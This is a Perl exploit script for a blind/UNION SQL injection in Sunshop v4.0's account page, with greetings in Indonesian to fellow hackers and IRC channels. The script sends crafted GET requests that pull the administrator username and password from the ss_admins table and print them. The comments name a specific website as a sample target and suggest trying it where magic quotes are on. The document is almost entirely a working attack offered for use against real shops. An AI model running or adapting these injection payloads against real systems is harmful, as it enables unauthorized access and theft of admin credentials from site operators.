sunshop-sql.txt

`#!/usr/bin/perl -w  
#Sunshop v4.0 <= Blind SQL Injection exploit #Vendor : http://www.turnkeywebtools.com/   
#Found : iFX a.k.a inversFX  
#makaseh buwat kk :  
# str0ke, Solpot, ibnusina, akukasih, irvian, arioo, Sin~X, Bithedz, r0t0r  
#Scr3W_W0rM, Matdhule, home_edition2001, k1tk4t, x-ace, drygol, bluespy all friends :)  
#bot pets : sqlscan, xcart, hantu_internet  
#and all on #phreakcuy , #nyubicrew, #poet @ irc.mildnet.org , and private chan #noscan  
#duh jadi keinget seseorang krn denger lagu kangen band - usai sudah ..... :( , kangen ikz ama temen2 skolah T_T  
  
  
use LWP::UserAgent;  
die "Example: $0 http://victim.com/\n" unless @ARGV;  
  
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";  
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
  
$host = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,substring((select%20substring((substring((select%20substring((select%20concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120))%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0),1,255)),1,255)),1,255)),1,255),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/*";  
$host1 = $ARGV[0] . "/index.php?l=account&c=1'%20and%201=1%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,0x2f,char(112,97,115,115,119,111,114,100,58),password,0x2f,char(105,102,120)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20from%20ss_admins%20order%20by%20id%20asc%20limit%201.0/*";  
  
$res = $b->request(HTTP::Request->new(GET=>$host));  
$res1 = $b->request(HTTP::Request->new(GET=>$host1));  
  
$answer = $res->content;  
$answer1 = $res1->content;  
  
if ($answer =~ /username:(.*)\/password:(.*)\/ifx/){  
print "\nNih loginna ----[ I ]\n";  
print "\n[+] Admin username: $1";  
print "\n[+] Admin password: $2";  
}  
elsif($answer1 =~ /username:(.*)\/password:(.*)\/ifx/)  
{  
print "\nNih loginna ----[ II ]\n";  
print "\n[+] Admin username: $1";  
print "\n[+] Admin password: $2";  
}  
else {  
print "maaf nggak jebol cari target laen T_T \n";}  
  
#sample target -> http://www.shpresa-al.com/  
#dork : thinkin it out , if magic gpc is on , just try it :P  
`